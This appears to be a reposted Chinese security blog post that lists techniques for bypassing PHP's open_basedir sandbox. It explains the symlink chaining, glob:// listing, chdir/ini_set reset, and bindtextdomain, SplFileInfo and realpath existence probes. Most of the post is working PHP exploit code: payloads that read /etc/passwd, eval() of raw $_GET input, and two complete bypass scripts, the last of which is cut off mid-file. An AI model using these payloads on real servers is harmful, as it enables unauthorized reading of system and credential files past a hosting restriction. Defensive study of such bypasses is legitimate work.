浅谈几种Bypass open_basedir的方法

馋奶兔 提交于 2020-05-08 08:10:00

0x01 open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

注意:用open_basedir指定的限制实际上是前缀,而不是目录名

为了演示下面的几个示例,我这里环境的open_basedir设置为Web目录和tmp目录:

测试一下,我在/home目录中新建一个1.txt文件,尝试对其进行读取,发现读取失败:

换了Web目录及其子目录和tmp目录中的文件就能成功读取,这就是open_basedir所起到的作用。

0x02 利用命令执行函数Bypass

但是open_basedir对命令执行函数没有限制,我们可以使用system()函数试一下,在前面的代码前加上system()代码来进行对比:

<?php
//echo file_get_contents('/home/1.txt');
show_source(__FILE__);
system('cat /home/1.txt');
?>




确实能够成功读到目标文件,不受open_basedir的限制:

至于其他的命令执行函数可自行尝试。

但是一般情况下,system()等命令执行函数可能会被disable_functions给禁用掉,因此运用到的场景可能并不多。

0x03 利用symlink()函数Bypass

符号链接

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

symlink()函数

(PHP 4, PHP 5, PHP 7)

symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。如果成功,该函数返回TRUE;如果失败,则返回FALSE。

symlink ( string $target , string $link ) : bool
参数 描述
target 必需。连接的目标。
link 必需。连接的名称。

当然一般情况下这个target是受限于open_basedir的。

Bypass

先给出payload,原理在后面说明,这里需要跨几层目录就需要创建几层目录:

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

















访问该PHP文件后,后台便生成了两个目录和一个名为exp的符号链接:

在Web中我们直接访问exp即可读取到目标文件:

原理就是:创建一个链接文件7ea,用相对路径指向A/B/C/D,再创建一个链接文件exp指向7ea/../../../../etc/passwd。其实指向的就是A/B/C/D/../../../../etc/passwd,其实就是/etc/passwd。这时候删除7ea,再创建一个7ea目录,但exp还是指向7ea/../../../etc/passwd,所以就成功跨到/etc/passwd了。

重点在这四句:

symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");



payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

0x04 利用glob://伪协议Bypass

glob://伪协议

glob:// — 查找匹配的文件路径模式。

glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>







Bypass

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

方式1——DirectoryIterator+glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。

DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>






输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件:

方式2——opendir()+readdir()+glob://

opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。

这里结合两个函数来列举根目录中的文件:

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>








效果和方式1是一样的,只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。

0x05 利用chdir()与ini_set()组合Bypass

基本原理

这种利用方式跟open_basedir存在缺陷的处理逻辑有关,具体原理可参考:

《通过chdir来bypass open_basedir》

《从PHP底层看open_basedir bypass》

Bypass

测试Demo,放置在Web根目录下,在执行输入参数的PHP代码前后获取open_basedir的值看是否改变了:

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>





输入以下payload:

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

可以看到open_basedir被设置为’/‘了,整个失去了效果:

注意,如果php文件在Web根目录,则需要构造一个相对可上跳的open_basedir:

mkdir('mi1k7ea');
chdir('mi1k7ea');
ini_set('open_basedir','..');


如果php文件直接在Web目录的子目录的话,就可不用创建相对可上跳的open_basedir了。

0x06 利用bindtextdomain()函数Bypass

bindtextdomain()函数

(PHP 4, PHP 5, PHP 7)

bindtextdomain()函数用于绑定domain到某个目录的函数。

函数定义如下:

bindtextdomain ( string $domain , string $directory ) : string

Bypass

利用原理是基于报错:bindtextdomain()函数的第二个参数\$directory是一个文件路径,它会在\$directory存在的时候返回\$directory,不存在则返回false。

payload:

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>




成功访问到存在的文件是会返回当前文件的路径的:

若访问的文件不存在则返回false:

可以看到,和前面几种方法相比,实在是相形见绌,只能应用于判断目标文件是否存在,有利于后续和其他漏洞进行组合利用。

0x07 利用SplFileInfo::getRealPath()类方法Bypass

SplFileInfo类

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo类为单个文件的信息提供高级面向对象的接口。

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2, PHP 7)

SplFileInfo::getRealPath类方法是用于获取文件的绝对路径。

Bypass

和bindtextdomain的原理一样,是基于报错的方式,返回结果都是一样的,就不再多演示,这里直接给出payload:

<?php
echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>




0x08 利用realpath()函数Bypass

realpath()函数

(PHP 4, PHP 5, PHP 7)

realpath — 返回规范化的绝对路径名。它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

函数定义如下:

realpath ( string $path ) : string

Bypass

环境条件:Windows

基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。

payload:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'E:/wamp64/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>



















可以看到,首字母不同的文件就被列出来了,首字母相同的文件中只列了第一个:

0x09 脚本合集

p牛的脚本

脚本原理就是利用symlink()函数来Bypass的原理。

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}













































































































网上的一个脚本

原理是用glob://伪协议:

<?php
/*
PHP open_basedir bypass collection
Works with >= PHP5
By /fd, @filedescriptor(https://twitter.com/filedescriptor)
*/

// Assistant functions
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach ($from as $depth => $dir) {
// find first non-matching dir
if ($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if ($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function fallback($classes) {
foreach ($classes as $class) {
$object = new $class;
if ($object->isAvailable()) {
return $object;
}
}
return new NoExploit;
}

// Core classes
interface Exploitable {
function isAvailable();
function getDescription();
}

class NoExploit implements Exploitable {
function isAvailable() {
return true;
}
function getDescription() {
return 'No exploit is available.';
}
}

abstract class DirectoryLister implements Exploitable {
var $currentPath;

function isAvailable() {}
function getDescription() {}
function getFileList() {}
function setCurrentPath($currentPath) {
$this->currentPath = $currentPath;
}
function getCurrentPath() {
return $this->currentPath;
}
}

class GlobWrapperDirectoryLister extends DirectoryLister {
function isAvailable() {
return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
}
function getDescription() {
return 'Directory listing via glob pattern';
}
function getFileList() {
$file_list = array();
// normal files
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
return $file_list;
}
}

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!